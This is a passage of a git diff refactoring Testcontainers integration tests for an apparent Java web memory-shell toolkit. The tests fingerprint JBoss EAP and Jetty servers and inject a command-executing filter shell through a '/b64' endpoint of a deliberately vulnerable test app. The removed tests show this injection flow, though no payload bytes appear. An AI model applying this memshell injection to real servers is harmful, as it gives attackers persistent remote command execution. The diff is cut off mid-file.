com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.hamcrest.Matchers.*; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/10 */ -@Slf4j @Testcontainers -public class JbossEap7ContainerTest { - public static final String imageName = "reajason/jboss:eap-7-jdk8"; - - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); +public class JbossEap7ContainerTest extends AbstractProbeContainerTest { - @AfterAll - public static void tearDown() { - log.info(container.getLogs()); - } - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.8.0_342|52", data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.jbossEap( + "reajason/jboss:eap-7-jdk8", + "/usr/local/jboss/standalone/deployments/app.war") + .expectedJdkVersion("JDK|1.8.0_342|52") + .targetJdkVersion(Opcodes.V1_8) + .build(); - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Undertow, data); - } - - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Undertow, Opcodes.V1_8); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V1_8); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Undertow, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap81ContainerTest.java index 94ec51ac..e65ad7dc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jbosseap/JbossEap81ContainerTest.java @@ -1,98 +1,36 @@ package com.reajason.javaweb.integration.probe.jbosseap; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/10 */ -@Slf4j @Testcontainers -public class JbossEap81ContainerTest { - public static final String imageName = "reajason/jboss:eap-8.1-jdk17"; - - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/usr/local/jboss/standalone/deployments/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); +public class JbossEap81ContainerTest extends AbstractProbeContainerTest { - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|17.0.15|61", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.jbossEapJakarta( + "reajason/jboss:eap-8.1-jdk17", + "/usr/local/jboss/standalone/deployments/app.war") + .expectedJdkVersion("JDK|17.0.15|61") + .targetJdkVersion(Opcodes.V17) + .build(); - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Undertow, data); - } - - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Undertow, Opcodes.V17); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V17); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Undertow, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Undertow)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty10ContainerTest.java index 3fb0e4bf..29e7788a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty10ContainerTest.java @@ -1,105 +1,34 @@ package com.reajason.javaweb.integration.probe.jetty; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/7 */ -@Slf4j @Testcontainers -public class Jetty10ContainerTest { - public static final String imageName = "jetty:10.0.25-jre11"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @AfterAll - public static void tearDown() { - log.info(container.getLogs()); - } - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JRE|11.0.28|55", data); - } +public class Jetty10ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Jetty, data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.jetty("jetty:10.0.25-jre11") + .expectedJdkVersion("JRE|11.0.28|55") + .targetJdkVersion(Opcodes.V11) + .build(); - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V11); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V11); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V11, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty11ContainerTest.java index 288453eb..1bc821a9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty11ContainerTest.java @@ -1,106 +1,35 @@ package com.reajason.javaweb.integration.probe.jetty; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.anyOf; -import static org.hamcrest.CoreMatchers.startsWith; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/7 */ -@Slf4j @Testcontainers -public class Jetty11ContainerTest { - public static final String imageName = "jetty:11.0.25-jre17"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @AfterAll - public static void tearDown() { - System.out.println(container.getLogs()); - } - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JRE|17.0.16|61", data); - } +public class Jetty11ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Jetty, data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.jettyJakarta("jetty:11.0.25-jre17") + .expectedJdkVersion("JRE|17.0.16|61") + .targetJdkVersion(Opcodes.V17) + .supportsBytecode(true) + .build(); - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V17); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V17); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Jetty, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V17, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java index c5213ade..6cd80311 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java @@ -1,91 +1,34 @@ package com.reajason.javaweb.integration.probe.jetty; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/7 */ -@Slf4j @Testcontainers -public class Jetty12ee10ContainerTest { - public static final String imageName = "reajason/jetty:12.0-jre21-ee10"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JRE|21.0.9|65", data); - } +public class Jetty12ee10ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Jetty, data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.jettyJakarta("reajason/jetty:12.0-jre21-ee10") + .expectedJdkVersion("JRE|21.0.9|65") + .targetJdkVersion(Opcodes.V21) + .build(); - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - shellInjectIsOk(url, Server.Jetty, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V21, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers"))); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee11ContainerTest.java index a5b4a1f9..708263dc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee11ContainerTest.java @@ -1,91 +1,34 @@ package com.reajason.javaweb.integration.probe.jetty; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/7 */ -@Slf4j @Testcontainers -public class Jetty12ee11ContainerTest { - public static final String imageName = "reajason/jetty:12.1-jre21-ee11"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|21.0.9|65", data); - } +public class Jetty12ee11ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Jetty, data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.jettyJakarta("reajason/jetty:12.1-jre21-ee11") + .expectedJdkVersion("JDK|21.0.9|65") + .targetJdkVersion(Opcodes.V21) + .build(); - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - shellInjectIsOk(url, Server.Jetty, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V21, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers"))); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java index c907fefd..0a8f622e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java @@ -1,98 +1,36 @@ package com.reajason.javaweb.integration.probe.jetty; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/7 */ -@Slf4j @Testcontainers -public class Jetty12ee8ContainerTest { - public static final String imageName = "reajason/jetty:12.0-jre21-ee8"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @AfterAll - public static void tearDown() { - log.info(container.getLogs()); - } - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JRE|21.0.9|65", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } +public class Jetty12ee8ContainerTest extends AbstractProbeContainerTest { - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Jetty, data); - } + // Jetty 12 ee8 uses javax.servlet (not Jakarta), so we use jetty() factory + private static final ProbeTestConfig CONFIG = ProbeTestConfig.jetty("reajason/jetty:12.0-jre21-ee8") + .expectedJdkVersion("JRE|21.0.9|65") + .targetJdkVersion(Opcodes.V21) + .supportsBytecode(false) + .build(); - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, Opcodes.V21, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java index 78e1ecb2..de7b1766 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java @@ -1,91 +1,34 @@ package com.reajason.javaweb.integration.probe.jetty; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import 